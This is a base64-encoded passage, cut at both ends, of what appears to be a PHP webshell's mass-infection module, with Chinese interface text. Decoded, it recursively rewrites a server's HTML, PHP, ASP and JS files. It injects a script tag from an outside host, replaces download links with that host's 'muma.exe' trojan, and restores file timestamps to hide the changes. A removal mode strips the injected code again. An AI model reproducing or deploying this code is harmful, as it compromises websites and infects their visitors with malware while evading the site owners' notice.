XlswLTldezEsMn0kIiwkbmNbMV1bMF0pKXtlY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJoaXN0b3J5LmJhY2soKTsiPtLss6PW1da5PC9hPic7IHJldHVybiBmYWxzZTt9DQoJCQkkZ20gPSAoaW50KSRuY1sxXVswXTsNCgkJCSRnZiA9ICRuY1swXVswXTsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRnayA9ICRfUE9TVFsnZ2MnXTsNCgkJCSRnbSA9IDA7DQoJCQkkZ2YgPSAnJzsNCgkJfQ0KCQlpZighaXNzZXQoJF9QT1NUWydneCddKSkgJGdrID0gJyc7DQoJCSRnZCA9IGlzc2V0KCRfUE9TVFsnZ2QnXSkgPyB0cnVlIDogZmFsc2U7DQoJCSRnYiA9ICgkX1BPU1RbJ2diJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJZWNobyBHdWFtYV9BdXRvKCRfUE9TVFsnZ3AnXSwkX1BPU1RbJ2d0J10sJF9QT1NUWydnbCddLCRfUE9TVFsnZ2MnXSwkZ20sJGdmLCRfUE9TVFsnZ2knXSwkZ2ssJGdkLCRnYikgPyAnPGEgaHJlZj0iIyIgb25jbGljaz0iaGlzdG9yeS5iYWNrKCk7Ij650sLtzeqxzzwvYT4nIDogJzxhIGhyZWY9IiMiIG9uY2xpY2s9Imhpc3RvcnkuYmFjaygpOyI+0uyzo9bV1rk8L2E+JzsNCgkJZWNobyAnPC9kaXY+JzsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7DQoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBGdWxsbChpKQ0Kew0KCWlmKGk9PTApIHJldHVybiBmYWxzZTsNCiAgU3RyID0gbmV3IEFycmF5KDUpOw0KICBpZihpIDw9IDIpe1N0clsxXSA9ICJ7JFJPT1RfRElSfSI7U3RyWzJdID0gInskRklMRV9ESVJ9IjtzZm9ybS5ncC52YWx1ZSA9IFN0cltpXTt9DQogIGVsc2V7U3RyWzNdID0gIi5odG18Lmh0bWx8LnNodG1sIjtTdHJbNF0gPSAiLmh0bXwuaHRtbHwuc2h0bWx8LmFzcHwucGhwfC5qc3B8LmNnaXwuYXNweHwuZG8iO1N0cls1XSA9ICIuanMiO3Nmb3JtLmd0LnZhbHVlID0gU3RyW2ldO30NCiAgcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBhdXRvcnVuKCkNCnsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ3AnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ7nSwu3Ct762srvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdndCcpLnZhbHVlID09ICcnKXthbGVydCgnzsS8/sDg0M2yu8Tczqq/1ScpO3JldHVybiBmYWxzZTt9DQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2djJykudmFsdWUgPT0gJycpe2FsZXJ0KCe50sLttPrC67K7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2Zvcm0nKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJzZm9ybSIgaWQ9InNmb3JtIiBhY3Rpb249Ij9zPWIiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij650sLtwre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ3AiIGlkPSJncCIgdmFsdWU9InskUk9PVF9ESVJ9IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLbe2zqfRodTxLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEiPs341b64+sS/wrw8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiPrG+s8zQ8sS/wrw8L29wdGlvbj4NCjwvc2VsZWN0PjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij7OxLz+wODQzSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ3QiIGlkPSJndCIgdmFsdWU9Ii5odG18Lmh0bWx8LnNodG1sIiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcDg0M3RodTxLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr6yzKzOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+vrLMrDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+SlPOxLz+PC9vcHRpb24+DQo8L3NlbGVjdD48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+uf3Cy7bUz/MgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImdsIiB2YWx1ZT0idGVtcGxldHx0ZW1wbGV0c3xkZWZhdWx0fGVkaXRvcnxmY2tlZGl0b3IuaHRtbCIgc3R5bGU9IndpZHRoOjUwMHB4OyIgZGlzYWJsZWQ+DQo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Imlub3V0IiB2YWx1ZT0iYSIgb25jbGljaz0iZ2wuZGlzYWJsZWQ9ZmFsc2U7Ij6/qsb0IDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iaW5vdXQiIHZhbHVlPSJiIiBvbmNsaWNrPSJnbC5kaXNhYmxlZD10cnVlOyIgY2hlY2tlZD652LHVPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrnSwu20+sLrIDx0ZXh0YXJlYSBuYW1lPSJnYyIgaWQ9ImdjIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjE4MHB4OyI+Jmx0O3NjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0IHNyYz0iaHR0cDovL3d3dy54c2p5aWdlY2FvZGFuZGVkYW1hLmNvbS9hZC5qcz9bLTYtXSImZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7PC90ZXh0YXJlYT4NCjxkaXYgY2xhc3M9Im1zZ2JveCI+udLC7bHk0M7LtcP3OiCzzNDy19S2r9Gw1dJbLTYtXbHqx6kszOa7u86qy+a7+tfWt/ssNrHtyr7B+c67y+a7+tfWt/ss1+608zEyzrssyOe5+7K7seTQzr/J0tSyu7zTWy02LV2x6sepLg0KPGJyPrnSyc/KvsD9OiAmbHQ7c2NyaXB0IGxhbmd1YWdlPWphdmFzY3JpcHQgc3JjPSJodHRwOi8vd3d3LnhzanlpZ2VjYW9kYW5kZWRhbWEuY29tL2FkLmpzP0VNVERTVSImZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7PC9kaXY+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iZ2kiIHZhbHVlPSJhIiBjaGVja2VkPrLlyOsmbHQ7L2hlYWQmZ3Q7serHqdaux7AgDQo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdpIiB2YWx1ZT0iYiI+suXI687EvP7X7raltssgDQo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdpIiB2YWx1ZT0iYyI+suXI687EvP7X7sSpzrI8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozMHB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiIGNoZWNrZWQ+1sfE3Ln9wsvW2Li0tPrC6yA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdkIiB2YWx1ZT0iMSIgY2hlY2tlZD6xo7PWzsS8/tDeuMTKsbzksrux5DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjUwcHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImdiIiB2YWx1ZT0iYSIgY2hlY2tlZD69q7nSwu3TptPD09q4w87EvP680CzX087EvP680LrNzsS8/g0KPGJyPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iZ2IiIHZhbHVlPSJiIj699r2rudLC7dOm08PT2rjDzsS8/rzQPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK/qsq8udLC7SIgc3R5bGU9IndpZHRoOjgwcHg7aGVpZ2h0OjI2cHg7IiBvbmNsaWNrPSJhdXRvcnVuKCk7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCnJldHVybiB0cnVlOw0KfQ0KDQovL8X6wb/H5cLtDQoNCmZ1bmN0aW9uIFFpbmdtYV9BdXRvKCRxcCwkcXQsJHFjLCRxZCwkcWIpDQp7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkcXApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpDQoJew0KCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsNCgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHFwLicvJy4kRmlsZW5hbWUpOw0KCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkcWIpIFFpbmdtYV9BdXRvKCRGaWxlcGF0aCwkcXQsJHFjLCRxZCwkcWIpOw0KCQlpZihlcmVnaSgkcXQsJEZpbGVuYW1lKSkNCgkJew0KCQkJJGljID0gRmlsZV9SZWFkKCRGaWxlcGF0aCk7DQoJCQlpZighc3RyaXN0cigkaWMsJHFjKSkgY29udGludWU7DQoJCQkkaWMgPSBzdHJfcmVwbGFjZSgkcWMsJycsJGljKTsNCgkJCWlmKCRxZCkgJGZ0aW1lID0gQGZpbGVtdGltZSgkRmlsZXBhdGgpOw0KCQkJZWNobyBGaWxlX1dyaXRlKCRGaWxlcGF0aCwkaWMsJ3diJykgPyAnPGZvbnQgY29sb3I9IiMwMDY2MDAiPrPJuaY6PC9mb250PicuJEZpbGVwYXRoLicgPGJyPicuIlxyXG4iIDogJzxmb250IGNvbG9yPSIjRkYwMDAwIj7Kp7DcOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIjsNCgkJCWlmKCRxZCkgQHRvdWNoKCRGaWxlcGF0aCwkZnRpbWUpOw0KCQkJb2JfZmx1c2goKTsNCgkJCWZsdXNoKCk7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCXJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBRaW5nbWFfYygpDQp7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ3FwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsncXQnXSkpICYmICghZW1wdHkoJF9QT1NUWydxYyddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRxdCA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3F0J10pOw0KCQkkcWQgPSBpc3NldCgkX1BPU1RbJ3FkJ10pID8gdHJ1ZSA6IGZhbHNlOw0KCQkkcWIgPSAoJF9QT1NUWydxYiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCWVjaG8gUWluZ21hX0F1dG8oJF9QT1NUWydxcCddLCRxdCwkX1BPU1RbJ3FjJ10sJHFkLCRxYikgPyAnPGEgaHJlZj0iIyIgb25jbGljaz0iaGlzdG9yeS5iYWNrKCk7Ij7H5cLtzeqxzzwvYT4nIDogJzxhIGhyZWY9IiMiIG9uY2xpY2s9Imhpc3RvcnkuYmFjaygpOyI+0uyzo9bV1rk8L2E+JzsNCgkJZWNobyAnPC9kaXY+JzsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7DQoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBGdWxsbGwoaSl7DQoJaWYoaT09MCkgcmV0dXJuIGZhbHNlOw0KICBTdHIgPSBuZXcgQXJyYXkoNSk7DQogIGlmKGkgPD0gMil7U3RyWzFdID0gInskUk9PVF9ESVJ9IjtTdHJbMl0gPSAieyRGSUxFX0RJUn0iO3hmb3JtLnFwLnZhbHVlID0gU3RyW2ldO30NCgllbHNle1N0clszXSA9ICIuaHRtfC5odG1sfC5zaHRtbCI7U3RyWzRdID0gIi5odG18Lmh0bWx8LnNodG1sfC5hc3B8LnBocHwuanNwfC5jZ2l8LmFzcHh8LmRvIjtTdHJbNV0gPSAiLmpzIjt4Zm9ybS5xdC52YWx1ZSA9IFN0cltpXTt9DQogIHJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gYXV0b3VwKCl7DQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3FwJykudmFsdWUgPT0gJycpe2FsZXJ0KCfH5cLtwre+trK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncXQnKS52YWx1ZSA9PSAnJyl7YWxlcnQoJ87EvP7A4NDNsrvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdxYycpLnZhbHVlID09ICcnKXthbGVydCgnx+Wz/bT6wuuyu8Tczqq/1ScpO3JldHVybiBmYWxzZTt9DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hmb3JtJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ieGZvcm0iIGlkPSJ4Zm9ybSIgYWN0aW9uPSI/cz1jIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+x+XC7cK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InFwIiBpZD0icXAiIHZhbHVlPSJ7JFJPT1RfRElSfSIgc3R5bGU9IndpZHRoOjUwMHB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gRnVsbGxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJz4NCjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0tt7bOp9Gh1PEtLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSI+zfjVvrj6xL/CvDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiI+sb6zzNDyxL/CvDwvb3B0aW9uPg0KPC9zZWxlY3Q+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPs7EvP7A4NDNIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJxdCIgaWQ9InF0IiB2YWx1ZT0iLmh0bXwuaHRtbHwuc2h0bWwiIHN0eWxlPSJ3aWR0aDo1MDBweDsiPg0KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcDg0M3RodTxLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr6yzKzOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+K76yzKw8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiPkpTzsS8/jwvb3B0aW9uPg0KPC9zZWxlY3Q+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsfls/20+sLrIDx0ZXh0YXJlYSBuYW1lPSJxYyIgaWQ9InFjIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjE4MHB4OyI+Jmx0O3NjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0IHNyYz0iaHR0cDovL3d3dy54c2p5aWdlY2FvZGFuZGVkYW1hLmNvbS9hZC5qcyImZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7PC90ZXh0YXJlYT48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozMHB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJxZCIgdmFsdWU9IjEiIGNoZWNrZWQ+saOz1s7EvP7Q3rjEyrG85LK7seQ8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJxYiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavH5cLt06bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InFiIiB2YWx1ZT0iYiI+vfa9q8flwu3TptPD09q4w87EvP680DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iv6rKvMflwu0iIHN0eWxlPSJ3aWR0aDo4MHB4O2hlaWdodDoyNnB4OyIgb25jbGljaz0iYXV0b3VwKCk7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KLy/F+sG/zOa7uw0KDQpmdW5jdGlvbiBUaWh1YW5fQXV0bygkdHAsJHR0LCR0aCwkdGNhLCR0Y2IsJHRkLCR0YikNCnsNCglpZigoJGhfZCA9IEBvcGVuZGlyKCR0cCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkdHAuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpICYmICR0YikgVGlodWFuX0F1dG8oJEZpbGVwYXRoLCR0dCwkdGgsJHRjYSwkdGNiLCR0ZCwkdGIpOw0KCQkkZG9pbmcgPSBmYWxzZTsNCgkJaWYoZXJlZ2koJHR0LCRGaWxlbmFtZSkpDQoJCXsNCgkJCSRpYyA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOw0KCQkJaWYoJHRoKQ0KCQkJew0KCQkJCWlmKCFzdHJpc3RyKCRpYywkdGNhKSkgY29udGludWU7DQoJCQkJJGljID0gc3RyX3JlcGxhY2UoJHRjYSwkdGNiLCRpYyk7DQoJCQkJJGRvaW5nID0gdHJ1ZTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmVnX21hdGNoX2FsbCgiL2hyZWZcPVwiKFtefl0qPylcIi9pIiwkaWMsJG5jKTsNCgkJCQlmb3IoJGkgPSAwOyRpIDwgY291bnQoJG5jWzFdKTskaSsrKXtpZihlcmVnaSgkdGNhLCRuY1sxXVskaV0pKXskaWMgPSBzdHJfcmVwbGFjZSgkbmNbMV1bJGldLCR0Y2IsJGljKTskZG9pbmcgPSB0cnVlO319DQoJCQl9DQoJCQlpZigkdGQpICRmdGltZSA9IEBmaWxlbXRpbWUoJEZpbGVwYXRoKTsNCgkJCWlmKCRkb2luZykgZWNobyBGaWxlX1dyaXRlKCRGaWxlcGF0aCwkaWMsJ3diJykgPyAnPGZvbnQgY29sb3I9IiMwMDY2MDAiPrPJuaY6PC9mb250PicuJEZpbGVwYXRoLicgPGJyPicuIlxyXG4iIDogJzxmb250IGNvbG9yPSIjRkYwMDAwIj7Kp7DcOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIjsNCgkJCWlmKCR0ZCkgQHRvdWNoKCRGaWxlcGF0aCwkZnRpbWUpOw0KCQkJb2JfZmx1c2goKTsNCgkJCWZsdXNoKCk7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCXJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBUaWh1YW5fZCgpDQp7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ3RwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsndHQnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkdHQgPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWyd0dCddKTsNCgkJJHRkID0gaXNzZXQoJF9QT1NUWyd0ZCddKSA/IHRydWUgOiBmYWxzZTsNCgkJJHRiID0gKCRfUE9TVFsndGInXSA9PSAnYScpID8gdHJ1ZSA6IGZhbHNlOw0KCQkkdGggPSAoJF9QT1NUWyd0aCddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCWlmKCR0aCkgJF9QT1NUWyd0Y2EnXSA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3RjYSddKTsNCgkJZWNobyBUaWh1YW5fQXV0bygkX1BPU1RbJ3RwJ10sJHR0LCR0aCwkX1BPU1RbJ3RjYSddLCRfUE9TVFsndGNiJ10sJHRkLCR0YikgPyAnPGEgaHJlZj0iIyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPVwnP3M9ZFwnIj7M5ru7zeqxzzwvYT4nIDogJzxhIGhyZWY9IiMiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj1cJz9zPWRcJyI+0uyzo9bV1rk8L2E+JzsNCgkJZWNobyAnPC9kaXY+JzsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7DQoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBGdWxsbGxsKGkpew0KCWlmKGk9PTApIHJldHVybiBmYWxzZTsNCiAgU3RyID0gbmV3IEFycmF5KDUpOw0KICBpZihpIDw9IDIpe1N0clsxXSA9ICJ7JFJPT1RfRElSfSI7U3RyWzJdID0gInskRklMRV9ESVJ9Ijt0Zm9ybS50cC52YWx1ZSA9IFN0cltpXTt9DQoJZWxzZXtTdHJbM10gPSAiLmh0bXwuaHRtbHwuc2h0bWwiO1N0cls0XSA9ICIuaHRtfC5odG1sfC5zaHRtbHwuYXNwfC5waHB8LmpzcHwuY2dpfC5hc3B4fC5kbyI7U3RyWzVdID0gIi5qcyI7dGZvcm0udHQudmFsdWUgPSBTdHJbaV07fQ0KICByZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIHNob3d0aCh0aCl7DQoJaWYodGggPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2V0YXV0bycpLmlubmVySFRNTCA9ICey6dXSxNrI3SA8dGV4dGFyZWEgbmFtZT0idGNhIiBpZD0idGNhIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48YnI+zOa7u7PJzqogPHRleHRhcmVhIG5hbWU9InRjYiIgaWQ9InRjYiIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+JzsNCglpZih0aCA9PSAnYicpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZXRhdXRvJykuaW5uZXJIVE1MID0gJzxicj7PwtTYuvPXuiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGNhIiBpZD0idGNhIiB2YWx1ZT0iLmV4ZXwuejB8LnJhcnwuemlwfC5nenwudG9ycmVudCIgc3R5bGU9IndpZHRoOjUwMHB4OyI+PGJyPjxicj7M5ru7s8nOqiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGNiIiBpZD0idGNiIiB2YWx1ZT0iaHR0cDovL3d3dy54c2p5aWdlY2FvZGFuZGVkYW1hLmNvbS9kb3dubG9hZC9tdW1hLmV4ZSIgc3R5bGU9IndpZHRoOjUwMHB4OyI+JzsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGF1dG91cCgpew0KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0cCcpLnZhbHVlID09ICcnKXthbGVydCgnzOa7u8K3vrayu8Tczqq/1ScpO3JldHVybiBmYWxzZTt9DQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3R0JykudmFsdWUgPT0gJycpe2FsZXJ0KCfOxLz+wODQzbK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGNhJykudmFsdWUgPT0gJycpe2FsZXJ0KCfM5ru7tPrC67K7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGZvcm0nKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJ0Zm9ybSIgaWQ9InRmb3JtIiBhY3Rpb249Ij9zPWQiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjM1cHg7Ij7M5ru7wre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idHAiIGlkPSJ0cCIgdmFsdWU9InskUk9PVF9ESVJ9IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBGdWxsbGxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJz4NCjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPi0tt7bOp9Gh1PEtLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSI+zfjVvrj6xL/CvDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiI+sb6zzNDyxL/CvDwvb3B0aW9uPg0KPC9zZWxlY3Q+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPs7EvP7A4NDNIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0dCIgaWQ9InR0IiB2YWx1ZT0iLmh0bXwuaHRtbHwuc2h0bWwiIHN0eWxlPSJ3aWR0aDo1MDBweDsiPg0KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3A4NDN0aHU8S0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzIj6+ssyszsS8/jwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCI+vcWxviu+ssysPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1Ij5KU87EvP48L29wdGlvbj4NCjwvc2VsZWN0PjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjIzNXB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0aCIgdmFsdWU9ImEiIG9uY2xpY2s9InNob3d0aCgnYScpIiBjaGVja2VkPszmu7vOxLz+1tC1xNa4tqjE2sjdIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idGgiIHZhbHVlPSJiIiBvbmNsaWNrPSJzaG93dGgoJ2InKSI+zOa7u87EvP7W0LXEz8LU2LXY1rc8YnI+DQo8ZGl2IGlkPSJzZXRhdXRvIj6y6dXSxNrI3SA8dGV4dGFyZWEgbmFtZT0idGNhIiBpZD0idGNhIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48YnI+zOa7u7PJzqogPHRleHRhcmVhIG5hbWU9InRjYiIgaWQ9InRjYiIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+PC9kaXY+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzBweDsiPjxpbnB1dCB0eXBl